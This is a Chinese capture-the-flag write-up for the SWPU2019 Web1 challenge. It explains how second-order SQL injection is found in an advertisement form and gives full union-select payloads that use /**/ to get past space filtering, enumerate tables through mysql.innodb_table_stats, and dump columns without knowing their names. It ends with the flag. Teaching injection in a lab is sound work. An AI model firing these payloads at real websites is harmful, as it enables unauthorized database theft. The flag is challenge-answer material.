[SWPU2019]Web1 超详细教程

老规矩先看源码,没找到啥提示,后面就是登录口对抗

弱口令试了几个不行,就注册了个账户登录进去

可以发布广告,能造成xss,但是没啥用啊感觉

查看广告信息的时候,注意到url当中存在id参数,可能存在sql注入

这里虽然显示待确认,但是既然我可以看到数据,那么说明它必然已经存在数据库里了

但是我手测了几个,' " + / *  and or ,没发现明显的可注入点,可能是做了严格的过滤

停下来整理一下思路,前面那个存储框除了xss以外还有sql二次注入的可能,但是xss一般在ctf中没啥利用点,所以思路转向验证sql二次注入

新建一个广告,我故意把文件名命名和之前的重复,看他会不会去查询

正和我意,说明它去数据库里查了已有的广告名称

去试试

做了过滤,这也恰恰说明这里大概率有货,就是怎么去绕过呢

新建一个广告

这里在创建的时候没报错,我以为没了呢,但是查看详情的时候发现报错了

您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本相对应的手册,了解在第 1 行的 ''1'' limit 0,1' 附近使用的正确语法

从这里我们就可以得到有用的信息了,"包裹,mariadb数据库

但是空格好像被过滤了,会提示敏感词汇

# 也被过滤了

不明白他这里为啥上面提示是双引号,但是后面给双引号又提示是单引号

后面试了单引号可以

构造的轮子:-1'/**/union/**/select/**/1,2,'3,

提示列数不匹配

到这里才完全确定存在注入,后面就是轮子的变形

一直加到22列才不报错,注入点是2,3位

poc:

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆出库名

这里还要注意的一点是,在注入的时候要把前面的第一个参数改为不存在的id,比如:-1,否则后面的即使查出来了也不会显示的,因为只会输出一行,注意注意,我一开始搞忘了

再爆破表名

-1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
 

无字段名称去爆破字段内容,爆破表里的所有列的内容,*

-1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
 

拿到flag

flag{5609c556-36e6-4073-886d-5301375da629}

总结:联合注入注意第一个参数是否存在影响结果展示

sql注入功能点的发现,只要是展示数据了,就有可能存在注入

注入要先判断有没有,再去构造轮子,联合注入要先判断列数,同时注意绕过替换

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值